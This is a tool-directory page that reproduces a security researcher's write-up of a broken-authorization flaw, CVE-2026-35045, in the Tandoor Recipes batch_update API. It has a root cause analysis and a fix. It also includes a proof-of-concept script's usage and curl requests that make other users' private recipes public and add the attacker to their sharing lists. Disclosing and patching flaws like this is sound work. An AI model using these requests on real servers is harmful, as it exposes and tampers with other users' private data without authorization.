Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-35045-PoC — Proof-of-concept exploit for CVE-2026-35045, a broken object-level authorization vulnerability in Tandoor Recipes, demonstrating unauthorized recipe modification via the batch_update API endpoint. | Kitploit
Tools/GitHubGitHub/filipegaudard/cve-2026-35045-poc
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingPenetration TestingLearning & Education
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

Proof-of-concept exploit for CVE-2026-35045, a broken object-level authorization vulnerability in Tandoor Recipes, demonstrating unauthorized recipe modification via the batch_update API endpoint.

View Repository
1165 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-35045 — Broken Object-Level Authorization in Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


Summary

The PUT /api/recipe/batch_update/ endpoint in Tandoor Recipes v2.6.1 allows any authenticated user within a Space to modify any recipe in that Space — including private recipes owned by other users. This completely bypasses the object-level authorization checks enforced on all standard single-recipe endpoints.

The root cause is a Django REST Framework behavioral gap: detail=False list-actions never invoke has_object_permission(), only has_permission(). The queryset filters solely by space=request.space, with no check for created_by, private, or the shared list. An attacker can force-expose private recipes, self-grant persistent access, revoke other users' permissions, and tamper with metadata — all in a single unauthenticated-looking API call that returns HTTP 200 OK with an empty body.

Vulnerability Details

FieldValue
CVE IDCVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — Authorization Bypass Through User-Controlled Key
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Affected VersionTandoor Recipes ≤ 2.6.1
VendorTandoorRecipes/recipes

MITRE ATT&CK Mapping

Technique IDNameRelevance
T1078Valid AccountsAttacker uses legitimate low-privilege credentials to bypass authorization
T1565.001Stored Data ManipulationModifying private recipes and ACLs owned by other users

Root Cause Analysis

1. detail=False Bypasses Object-Level Permission Checks

File: cookbook/views/api.py

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← No created_by or private check
        )

In Django REST Framework, actions registered with detail=False are list-actions. They never call get_object(), which means check_object_permissions() and CustomRecipePermission.has_object_permission() are never invoked. Only has_permission() runs — which verifies Space membership, not recipe ownership.

2. Standard Endpoints Are Protected Correctly

PUT /api/recipe/{id}/ follows the full DRF permission flow:

root@kitploit:~
get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → denies access if recipe is private and not owned/shared with requester

The batch_update endpoint silently skips this entire chain.

3. Writable Fields via Batch

RecipeBatchUpdateSerializer exposes the following fields — writable on any recipe in the Space:

FieldEffect
privateToggle recipe visibility
shared_add / shared_remove / shared_setManipulate the access control list
keywords_add / keywords_remove / keywords_setAlter recipe metadata
working_time / waiting_timeModify recipe timing data

Attack Flow

root@kitploit:~
┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ Attacker │ ─────────────────────────────────────→│  Tandoor Server │
│ (User B) │   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Space member)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ NEVER CALLED │
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← No ownership check
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  Recipe ID 2   │
                                                   │  (owned by A)  │
                                                   │  private=false ← patched
                                                   │  shared=[2]  ← self-granted
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ Attacker (B)   │
                                                   │ now has full   │
                                                   │ access to      │
                                                   │ Recipe ID 2    │
                                                   └────────────────┘

Proof of Concept

Requirements

  • Python 3.10+
  • requests library
root@kitploit:~
pip install requests

Usage

root@kitploit:~
# Force-expose a private recipe and self-grant access (default)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# Force-expose only (set private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# Self-grant only (add to shared list, keep private=true)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

Modules / Actions

ActionDescription
exposeSets private: false on the target recipe — forces visibility to all Space members
self_grantAdds attacker's user ID to shared_add — grants persistent access even if recipe stays private
bothRuns both actions in a single request (default)

Manual Verification (curl)

1. Pre-condition — Recipe is inaccessible via standard endpoint

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Expected: 404 (private, not owned)

2. Exploit — batch_update with no authorization

root@kitploit:~
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# Expected: HTTP 200 OK — {}

3. Post-condition — Recipe is now accessible

root@kitploit:~
curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Expected: HTTP 200 with recipe data, private=false

4. Verify via recipe listing

root@kitploit:~
curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Expected: 2  <recipe_name>  False

Impact

Impact AreaDescriptionSeverity
Forced Recipe ExposureSetting private: false makes any recipe visible to all Space membersHigh
Unauthorized Self-GrantAdding own user ID via shared_add grants persistent read/write access to any recipeHigh
Access RevocationUsing shared_remove or shared_set to remove legitimate users from a recipe's sharing listHigh
Metadata TamperingModifying working_time, waiting_time, and keywords on recipes owned by other usersMedium

Remediation

Immediate Fix

Filter the queryset by created_by=request.user to restrict batch operations to owned recipes:

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space,
            created_by=self.request.user,  # ← Fix: restrict to owned recipes
        )

Defense in Depth

If Space admins require the ability to batch-update any recipe, add a role-based conditional:

root@kitploit:~
if is_space_owner(request.user, request.space):
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
    )
else:
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
        created_by=self.request.user,
    )

General Guidance for DRF

Any detail=False action that operates on individual objects must manually enforce object-level authorization. DRF's has_object_permission() is never called for list-actions — this responsibility falls entirely on the developer.


References

  • GHSA-v8x3-w674-55p5
  • CVE-2026-35045
  • CWE-639: Authorization Bypass Through User-Controlled Key
  • DRF — Custom Actions & Permission Checks
  • OWASP API Security Top 10 — API1:2023 Broken Object Level Authorization
  • MITRE ATT&CK T1078 — Valid Accounts
  • MITRE ATT&CK T1565.001 — Stored Data Manipulation

Disclaimer

This proof of concept is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this tool.


Author

Filipe Gaudard — Offensive Security Researcher | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
Download Tool